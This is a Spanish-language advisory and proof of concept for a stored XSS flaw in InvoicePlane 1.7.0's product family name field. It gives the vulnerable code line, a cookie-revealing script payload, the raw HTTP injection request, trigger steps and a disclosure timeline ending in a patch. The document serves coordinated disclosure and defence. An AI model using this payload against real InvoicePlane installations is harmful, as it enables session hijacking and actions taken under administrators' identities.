
Prueba de concepto de XSS almacenado para InvoicePlane 1.7.0 a través del campo de apellido, incluyendo payload, solicitud y análisis de impacto para investigación defensiva.
Vulnerabilidad: Cross-Site Scripting (XSS) Almacenado a través del campo Nombre de Familia
Producto: InvoicePlane
Versión afectada: 1.7.0 (y probablemente versiones anteriores)
Gravedad: Media
Puntuación CVSS 3.1: 4.8 (CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N)
CWE: CWE-79: Neutralización incorrecta de la entrada durante la generación de páginas web
Descubierto por: Leonidas Agathos
Fecha del informe: 2026-01-31
El campo family_name en el formulario de familias de productos (/index.php/families/form) acepta entrada arbitraria sin saneamiento. El valor se almacena en la base de datos y posteriormente se renderiza sin codificar en el desplegable de familias de la página de creación/edición de productos, lo que provoca la ejecución de JavaScript para cualquier administrador que visite el formulario de productos.
Archivo vulnerable: application/modules/products/views/form.php:40
// Línea 40
><?php echo $family->family_name; ?></option>
Paso 1 — Inyectar el payload en el Nombre de Familia
Navegue a /index.php/families/form y envíe lo siguiente como Nombre de Familia:
<script>alert('domain:'+document.domain+'cookies:'+document.cookie)</script>
Solicitud:
POST /index.php/families/form HTTP/1.1
Host: 172.25.0.12
Content-Type: application/x-www-form-urlencoded
_ip_csrf=...&btn_submit=1&is_update=0&family_name=%3Cscript%3Ealert%28document.cookies%29%3C%2Fscript%3E

Paso 2 — Activar el XSS
Navegue a /index.php/products/form. El payload se ejecuta cuando se renderiza el desplegable de familias.

Cualquier administrador que visite la página de creación o edición de productos tendrá el payload ejecutado en su navegador. Esto permite el secuestro de sesión (si las cookies no son HttpOnly), el robo de tokens CSRF y la realización de acciones bajo la identidad de la víctima.
| Fecha | Evento |
|---|---|
| 2026-01-30 | Vulnerabilidad descubierta |
| 2026-01-31 | Prueba de concepto desarrollada |
| 2026-01-31 | Proveedor notificado |
| 2026-02-04 | Reconocimiento del proveedor |
| 2026-02-04 | Parche publicado |
| 2026-02-05 | Divulgación pública |
Esta vulnerabilidad fue descubierta durante una investigación de seguridad independiente. Toda la información se proporciona estrictamente con fines educativos, de investigación y defensivos para ayudar al proveedor y a la comunidad de seguridad a comprender y remediar el problema. Cualquier uso malintencionado de esta información está estrictamente prohibido.